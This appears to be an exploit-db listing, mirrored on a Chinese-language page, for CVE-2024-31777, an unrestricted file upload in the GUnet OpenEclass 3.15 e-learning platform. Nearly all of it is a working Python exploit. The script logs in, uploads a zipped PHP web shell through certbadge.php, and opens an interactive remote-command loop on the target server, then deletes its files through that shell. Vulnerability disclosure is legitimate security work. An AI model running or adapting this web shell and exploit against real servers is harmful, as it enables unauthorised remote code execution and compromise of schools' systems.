GUnet OpenEclass E-learning platform 3.15 – ‘certbadge.php’ Unrestricted File Upload

  • 作者: George Tsimpidas
    日期: 2024-04-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51975/
  • # Exploit Title: GUnet OpenEclass E-learning platform 3.15 - 'certbadge.php' Unrestricted File Upload
    # Date: 2024-02-04
    # Exploit Author: Georgios Tsimpidas
    # Vendor Homepage: https://www.openeclass.org/
    # Software Link: https://download.openeclass.org/files/3.15/
    # Version: 3.15 (2024)
    # Tested on: Debian Kali (Apache/2.4.57, PHP 8.2.12, MySQL 15.1)
    # CVE : CVE-2024-31777
    # GUnet OpenEclass <= 3.15 E-learning platform - Unrestricted File
    
    import requests
    import argparse
    import zipfile
    import os
    import sys
    
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RESET = '\033[0m'
    ORANGE = '\033[38;5;208m'
    
    MALICIOUS_PAYLOAD = """\
    <?php
    
    if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    die;
    }
    
    ?>
    """
    
    def banner():
    print(f'''{RED}
    {YELLOW}
     ============================ Author: Frey ============================
    {RESET}''')
    
    def execute_command(openeclass, filename):
    while True:
    # Prompt for user input with "eclass"
    cmd = input(f"{RED}[{YELLOW}eClass{RED}]~# {RESET}")
    
    # Check if the command is 'quit', then break the loop
    if cmd.lower() == "quit":
    print(f"{ORANGE}\nExiting...{RESET}")
    clean_server(openeclass)
    sys.exit()
    
    # Construct the URL with the user-provided command
    url = f"{openeclass}/courses/user_progress_data/cert_templates/{filename}?cmd={cmd}"
    
    # Execute the GET request
    try:
    response = requests.get(url)
    
    # Check if the request was successful
    if response.status_code == 200:
    # Print the response text
    print(f"{GREEN}{response.text}{RESET}")
    
    except requests.exceptions.RequestException as e:
    # Print any error that occurs during the request
    print(f"{RED}An error occurred: {e}{RESET}")
    
    def upload_web_shell(openeclass, username, password):
    login_url = f'{openeclass}/?login_page=1'
    login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php'
    
    # Login credentials
    payload = {
    'next': '/main/portfolio.php',
    'uname': f'{username}',
    'pass': f'{password}',
    'submit': 'Enter'
    }
    
    headers = {
    'Referer': login_page_url,
    }
    
    # Use a session to ensure cookies are handled correctly
    with requests.Session() as session:
    # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens
    session.get(login_page_url)
    
    # Post the login credentials
    response = session.post(login_url, headers=headers, data=payload)
    
    # Create a zip file containing the malicious payload
    zip_file_path = 'malicious_payload.zip'
    with zipfile.ZipFile(zip_file_path, 'w') as zipf:
    zipf.writestr('evil.php', MALICIOUS_PAYLOAD.encode())
    
    # Upload the zip file
    url = f'{openeclass}/modules/admin/certbadge.php?action=add_cert'
    files = {
    'filename': ('evil.zip', open(zip_file_path, 'rb'), 'application/zip'),
    'certhtmlfile': (None, ''),
    'orientation': (None, 'L'),
    'description': (None, ''),
    'cert_id': (None, ''),
    'submit_cert_template': (None, '')
    }
    response = session.post(url, files=files)
    
    # Clean up the zip file
    os.remove(zip_file_path)
    
    # Check if the upload was successful
    if response.status_code == 200:
    print(f"{GREEN}Payload uploaded successfully!{RESET}")
    return True
    else:
    print(f"{RED}Failed to upload payload. Exiting...{RESET}")
    return False
    
    def clean_server(openeclass):
    print(f"{ORANGE}Cleaning server...{RESET}")
    # Remove the uploaded files
    requests.get(f"{openeclass}/courses/user_progress_data/cert_templates/evil.php?cmd=rm%20evil.zip")
    requests.get(f"{openeclass}/courses/user_progress_data/cert_templates/evil.php?cmd=rm%20evil.php")
    print(f"{GREEN}Server cleaned successfully!{RESET}")
    
    def main():
    parser = argparse.ArgumentParser(description="Open eClass – CVE-CVE-2024-31777: Unrestricted File Upload Leads to Remote Code Execution")
    parser.add_argument('-u', '--username', required=True, help="Username for login")
    parser.add_argument('-p', '--password', required=True, help="Password for login")
    parser.add_argument('-e', '--eclass', required=True, help="Base URL of the Open eClass")
    args = parser.parse_args()
    
    banner()
    # Running the main login and execute command function
    if upload_web_shell(args.eclass, args.username, args.password):
    execute_command(args.eclass, 'evil.php')
    
    if __name__ == "__main__":
    main()